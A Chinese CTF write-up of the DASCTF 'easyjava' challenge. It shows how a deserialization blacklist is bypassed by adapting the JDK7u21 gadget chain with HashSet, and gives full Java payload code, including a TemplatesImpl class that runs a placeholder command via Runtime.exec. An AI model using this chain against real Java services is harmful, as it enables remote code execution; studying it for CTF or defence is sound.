天天看点

[DASCTF][Java反序列化]easyjava简单分析

文章目录

  • ​​写在前面​​
  • ​​easyjava​​
  • ​​推荐文章​​

写在前面

昨天题目环境似乎出了点小问题,咋也不好问,咋也不敢说,题目有意思,当然还有其他链子猜测jdbc应该也可以打,没试过太懒了

easyjava

首先下载源码发现Java版本是1.7的,先放这里

[DASCTF][Java反序列化]easyjava简单分析

看看在​

​evil​

​路由下面,很明显是去触发反序列化,但是有过滤

[DASCTF][Java反序列化]easyjava简单分析

ban了这么多,cc链基本上不用想了,一方面是低版本不起作用,另一方面Transformer被ban了,看来只能用TemplatesImpl去执行字节码试一试,想到了Java7U21反序列化(可以看我博客分析)​​[Java反序列化]JDK7U21原生反序列化利用链分析​​​ 这里只禁用了​

​java.util.LinkedHashSet​

​,结合7U21原理,这玩意儿是基于链表实现的Hashset,这个被ban了,那我就用Hashset替换就好了,不过直接改了HashSet是无法触发的

[DASCTF][Java反序列化]easyjava简单分析

只需要将这两个换位置即可

[DASCTF][Java反序列化]easyjava简单分析

就是这样,这就是HashSet与LinkedHashSet的区别所在了

[DASCTF][Java反序列化]easyjava简单分析

放出payload吧也不难小小改一波7U21

public class test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        String zeroHashCodeStr = "f5a5a608";
        // 实例化一个map,并添加MagicNumber为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);
        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(test.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
        // 实例化HashSet,并将两个对象放进去
        HashSet set = new HashSet();
        set.add(proxy);
        set.add(templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        System.out.println(new BASE64Encoder().encode(barr.toByteArray()));
        oos.close();

    }
}      

还有

public class EvilTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public EvilTemplatesImpl() throws Exception {
        super();
        Runtime.getRuntime().exec("执行命令");
    }
}      

用了ClassPool,记得在maven添加依赖

<dependency>
          <groupId>javassist</groupId>
          <artifactId>javassist</artifactId>
          <version>3.12.1.GA</version>
</dependency>      

成功 有点意思